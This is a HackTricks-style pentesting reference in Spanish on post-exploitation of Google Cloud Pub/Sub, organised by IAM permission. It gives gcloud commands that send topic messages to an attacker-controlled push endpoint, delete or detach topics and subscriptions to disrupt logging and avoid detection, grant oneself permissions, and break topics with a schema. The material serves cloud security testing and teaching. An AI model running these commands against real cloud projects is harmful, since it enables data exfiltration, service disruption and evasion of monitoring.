GCP - Pub/Sub Post Exploitation

Support HackTricks

Pub/Sub

Para más información sobre Pub/Sub, consulta la siguiente página:

pubsub.topics.publish

Publica un mensaje en un tema, útil para enviar datos inesperados y activar funcionalidades inesperadas o explotar vulnerabilidades:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Útil para evitar que una suscripción reciba mensajes, tal vez para evitar la detección.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Útil para evitar que una suscripción reciba mensajes, tal vez para evitar la detección. Es posible eliminar un tema incluso con suscripciones adjuntas a él.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Utiliza este permiso para actualizar alguna configuración del tema para interrumpirlo, como --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Otórgate permiso para realizar cualquiera de los ataques anteriores.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Obtén todos los mensajes en un servidor web:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Crea una suscripción y úsala para extraer mensajes:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Eliminar una suscripción podría ser útil para interrumpir un sistema de procesamiento de registros o algo similar:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Utiliza este permiso para actualizar alguna configuración para que los mensajes se almacenen en un lugar al que puedas acceder (URL, tabla de Big Query, Bucket) o simplemente para interrumpirlo.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Otórgese los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Ataque un esquema a un tema para que los mensajes no lo cumplan y, por lo tanto, el tema se interrumpa. Si no hay esquemas, es posible que necesite crear uno.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Esto puede parecer que al eliminar un esquema podrás enviar mensajes que no cumplen con el esquema. Sin embargo, como el esquema será eliminado, ningún mensaje entrará realmente en el tema. Así que esto es INÚTIL:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Otórgate los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente.

pubsub.snapshots.create, pubsub.snapshots.seek

Esto creará un snapshot de todos los mensajes no ACK y los devolverá a la suscripción. No es muy útil para un atacante, pero aquí está:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Apoya a HackTricks

Last updated